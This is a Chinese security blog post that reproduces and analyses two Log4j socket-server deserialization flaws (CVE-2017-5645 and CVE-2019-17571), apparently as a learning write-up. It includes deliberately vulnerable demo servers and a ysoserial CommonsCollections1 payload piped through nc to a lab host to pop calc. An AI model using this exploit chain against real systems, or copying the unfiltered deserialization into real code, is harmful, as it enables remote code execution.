【java安全】Log4j反序列化漏洞
關(guān)于Apache Log4j
Log4j是Apache的開源項(xiàng)目,可以實(shí)現(xiàn)對(duì)System.out等打印語(yǔ)句的替代,并且可以結(jié)合spring等項(xiàng)目,實(shí)現(xiàn)把日志輸出到控制臺(tái)或文件等。而且它還可以通過一個(gè)配置文件來靈活地進(jìn)行配置,而不需要修改應(yīng)用的代碼,滿足了大多數(shù)要求。
就是用來打印日志的
漏洞成因
本文介紹的Log4j反序列化漏洞都是由于未對(duì)傳入的需要發(fā)序列化的數(shù)據(jù)進(jìn)行過濾,導(dǎo)致了惡意構(gòu)造從而造成相關(guān)的反序列化漏洞
CVE-2017-5645
漏洞版本
Log4j 2.x <= 2.8.1
復(fù)現(xiàn)環(huán)境
- jdk1.7
- Log4j-api,Log4j-core 2.8.1
- commons-collections 3.1
漏洞復(fù)現(xiàn)
pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
demo
public class Log4jDemo {
public static void main(String[] args) {
TcpSocketServer myServer = null;
try {
myServer = new TcpSocketServer(7777,new ObjectInputStreamLogEventBridge());
} catch (IOException e) {
throw new RuntimeException(e);
}
myServer.run();
}
}
我們運(yùn)行一下這個(gè)類,它會(huì)監(jiān)聽本地的7777端口,然后我們需要將數(shù)據(jù)傳遞進(jìn)去
然后我們使用ysoserial
生成一條cc鏈,nc傳給它即可觸發(fā)漏洞:
java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
漏洞分析
我們先來分析TcpSocketServer#main()
方法,啟動(dòng)Log4j后,通過createSerializedSocketServer()
創(chuàng)建了一個(gè)socketServer
然后會(huì)調(diào)用startNewThread()
方法,我們跟進(jìn):
public Thread startNewThread() {
Thread thread = new Log4jThread(this);
thread.start();
return thread;
}
會(huì)調(diào)用線程的start()
方法,于是我們跟進(jìn)TcpSocketServer#run()
方法中,run()首先會(huì)判斷socket是否關(guān)閉,然后調(diào)用this.serverSocket.accept()
去接受數(shù)據(jù),賦值給clientSocket
變量,然后去調(diào)用SocketHandler
的構(gòu)造方法,返回一個(gè)handler
我們跟進(jìn)一下SocketHandler
類:
public SocketHandler(Socket socket) throws IOException {
this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());
}
發(fā)現(xiàn)socket
將接收到的數(shù)據(jù)轉(zhuǎn)換成ObjectInputStream
對(duì)象,賦值給:this.inputStream
(因?yàn)橹拔覀兊拇a中將
logEventInput
賦值為ObjectInputStreamLogEventBridge
對(duì)象了):
所以這個(gè)對(duì)象的
wrapStream()
函數(shù)會(huì)返回ObjectInputStream
對(duì)象public ObjectInputStream wrapStream(InputStream inputStream) throws IOException { return new ObjectInputStream(inputStream); }
當(dāng)我們調(diào)用完SocketHandler()
后,返回handler,接著調(diào)用handler.start()
這樣就會(huì)調(diào)用SocketHandler#run()
方法:
run方法中會(huì)將前面的產(chǎn)生的ObjectInputStream
對(duì)象傳遞給this.logEventInput.logEvents()
方法中,我們跟進(jìn):
該方法會(huì)調(diào)用inputStream#readObject()
方法進(jìn)行反序列化,并且整個(gè)步驟沒有任何過濾,因此當(dāng)我們傳入的數(shù)據(jù)為惡意的cc鏈就可以觸發(fā)反序列化漏洞了
CVE-2019-17571
這個(gè)也是類似的
漏洞版本
Log4j 1.2.x <= 1.2.17
漏洞復(fù)現(xiàn)
pom.xml
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId> <!-- 注意這里使用的是log4j -->
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
src/main/resources/log4j.properties
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
Log4jDemo.java
public class Log4jDemo {
public static void main(String[] args) {
String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
}
}
還是和上面一樣,執(zhí)行,然后使用ysoserial
:
java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
漏洞分析
public class Log4jDemo {
public static void main(String[] args) {
String[] arguments = {"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
}
}
首先跟進(jìn)SimpleSocketServer.main()
方法:
開啟SocketServer服務(wù)器后,會(huì)設(shè)置監(jiān)聽端口,然后accept()
將接受到的數(shù)據(jù)賦值給socket
對(duì)象,接著調(diào)用SocketNode()
將socket
給傳進(jìn)去
這里和上面類似,也會(huì)將接受到的數(shù)據(jù)以ObjectInputStream
對(duì)象返回給this.ois
在后面調(diào)用Thread#start()
方法后會(huì)繼續(xù)調(diào)用SocketNode#run()
方法:
這里同樣沒有經(jīng)過任何過濾,就將數(shù)據(jù)進(jìn)行反序列化觸發(fā)漏洞
參考
https://www.anquanke.com/post/id/229489#h2-0
https://xz.aliyun.com/t/7010#toc-3文章來源:http://www.zghlxwxcb.cn/news/detail-665107.html
https://github.com/Maskhe/javasec/blob/master/4.log4j%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md文章來源地址http://www.zghlxwxcb.cn/news/detail-665107.html
到了這里,關(guān)于【java安全】Log4j反序列化漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!